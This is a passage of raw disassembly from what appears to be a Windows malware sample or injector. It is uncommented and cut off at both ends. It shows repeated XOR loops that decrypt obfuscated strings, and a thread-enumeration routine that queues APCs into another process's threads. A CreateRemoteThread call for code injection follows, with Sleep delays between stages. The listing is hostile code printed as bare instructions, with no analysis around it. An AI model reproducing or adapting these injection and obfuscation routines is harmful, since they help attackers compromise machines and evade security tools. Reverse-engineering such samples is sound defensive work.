lea r9, [rbp + 0x178]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140029750
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x10e0]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x10e0]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0x10e0]
call fcn.140043300
mov eax, dword [0x14009ba08]
cmp eax, 1
jne 0x140029d1c
movups xmm0, xmmword [0x14008a9e8]
movups xmmword [rbp + 0xa58], xmm0
movups xmm1, xmmword [0x14008a9f8]
movups xmmword [rbp + 0xa68], xmm1
movups xmm0, xmmword [0x14008aa08]
movups xmmword [rbp + 0xa78], xmm0
mov eax, dword [0x14008aa18]
mov dword [rbp + 0xa88], eax
movzx eax, byte [0x14008aa1c]
mov byte [rbp + 0xa8c], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002993a
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xa58]
mov edx, r14d
mov r9d, dword [rbp + 0x1320]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea edx, [rdx + 8]
cmp r8d, 0x30
jl 0x140029840
cmp r8d, 0x35
jge 0x140029983
movsxd rax, r8d
lea r9, [rbp + 0xa58]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x140029950
lea rdx, [rbp + 0xa58]
lea rcx, [rbp + 0x10c0]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x10c0]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0x10c0]
call fcn.140043300
mov edx, dword [rsp + 0x48]
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140029a7d
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x12e4], xmm0
mov qword [rbp + 0x12f4], rbx
mov dword [rbp + 0x12e0], 0x1c
lea rdx, [rbp + 0x12e0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x140029a74
mov r15d, dword [rsp + 0x48]
mov r14, qword [rsp + 0x58]
mov r13, qword [rsp + 0x50]
cmp dword [rbp + 0x12ec], r15d
jne 0x140029a4f
mov r8d, dword [rbp + 0x12e8]
xor edx, edx
mov ecx, 0x12
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rdi, rax
test rax, rax
je 0x140029a4f
mov r8, r13
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x12e0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x140029a12
mov r13d, 0x10
mov r15, qword [rbp + 0x228]
mov rdi, qword [rbp - 0x78]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movsd xmm0, qword [0x14008c060]
movups xmm2, xmmword [str._9w_SVL]
movsd qword [rbp + 0x18], xmm0
movups xmmword [rbp + 8], xmm2
mov r8d, ebx
cmp r12d, 2
jl 0x14002a444
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc]
xorps xmm2, xmm1
movd dword [rbp + 0xc], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10]
xorps xmm2, xmm1
movd dword [rbp + 0x10], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x14]
xorps xmm2, xmm1
movd dword [rbp + 0x14], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
movd xmm1, dword [rbp + 0x18]
xorps xmm15, xmm1
movd dword [rbp + 0x18], xmm15
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm6, xmm0
andps xmm6, xmm12
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, ecx
paddb xmm6, xmm0
movd xmm1, dword [rbp + 0x1c]
xorps xmm6, xmm1
movd dword [rbp + 0x1c], xmm6
jmp 0x14002a482
cmp eax, 2
jne 0x140029a7d
movups xmm0, xmmword [str._PUCQVTeqXJW__b]
movups xmmword [rbp + 0x8c0], xmm0
movups xmm1, xmmword [0x14008b510]
movups xmmword [rbp + 0x8d0], xmm1
mov eax, dword [0x14008b520]
mov dword [rbp + 0x8e0], eax
movzx eax, word [0x14008b524]
mov word [rbp + 0x8e4], ax
mov r8d, ebx
cmp r12d, 2
jl 0x140029e79
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0x8c0]
mov edx, dword [rbp + 0x1320]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp r8d, 0x20
jl 0x140029d80
cmp r8d, 0x26
jge 0x140029ec3
movsxd rax, r8d
lea r9, [rbp + 0x8c0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x26
jl 0x140029e90
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp + 0x10a0]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x10a0]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0x10a0]
call fcn.140043300
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x58]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x140029a7d
lea rdx, [rbp + 0x1268]
call fcn.14002bfe0
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x14002a143
mov r8d, ebx
cmp r12d, 2
jl 0x14002a100
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
mov r8d, r13d
mov r9d, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14002a110
mov rcx, r10
call fcn.1400113a0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x1298]
call fcn.14002c010
mov r9, rax
cmp byte [rax + 0x19], 0
je 0x14002bef3
cmp r12d, 2
jl 0x14002a402
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, eax
paddb xmm15, xmm0
movd xmm0, dword [r9 + 0x10]
xorps xmm15, xmm0
movd dword [r9 + 0x10], xmm15
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm6, xmm0
andps xmm6, xmm12
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd xmm0, eax
paddb xmm6, xmm0
movd xmm0, dword [r9 + 0x14]
xorps xmm6, xmm0
movd dword [r9 + 0x14], xmm6
mov ebx, 0x18
mov r8d, ebx
add r8, r9
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x1a
jge 0x14002bef3
jmp 0x14002a410
lea r9, [rbp + 8]
nop dword [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14002a450
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x1080]
call fcn.140005370
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x1080]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0x1080]
call fcn.140043300
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x14002a6fa
movups xmm2, xmmword [str.q__FS]
movups xmmword [rbp + 0x280], xmm2
movzx eax, word [0x14008a2d0]
mov word [rbp + 0x290], ax
cmp r12d, 2
jl 0x14002a6b4
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp + 0x280], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x284]
xorps xmm11, xmm1
movd dword [rbp + 0x284], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x288]
xorps xmm10, xmm1
movd dword [rbp + 0x288], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x28c]
xorps xmm13, xmm1
movd dword [rbp + 0x28c], xmm13
mov ebx, r13d
mov eax, ebx
lea r8, [rbp + 0x280]
add r8, rax
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x12
jl 0x14002a6c0
lea rcx, [rbp + 0x280]
call fcn.1400113a0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x14d8]
call fcn.140003c20
nop
lea rcx, [rbp + 0x1530]
call fcn.140003c20
nop
lea rcx, [rbp + 0x1500]
call fcn.140003c20
jmp 0x14002b1ca
lea rdx, [rbp + 0x1178]
call fcn.14002c040
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x14002a8d2
mov r8d, ebx
cmp r12d, 2
jl 0x14002a89d
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
jmp 0x14002a8d2
mov r9, r10
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14002a8a0
mov rcx, r10
call fcn.1400113a0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x1280]
call fcn.14002c060
mov r9, rax
cmp byte [rax + 0x12], 0
je 0x14002bf16
cmp r12d, 2
jl 0x14002aaba
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
mov ebx, r13d
mov r8d, ebx
add r8, r9
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x13
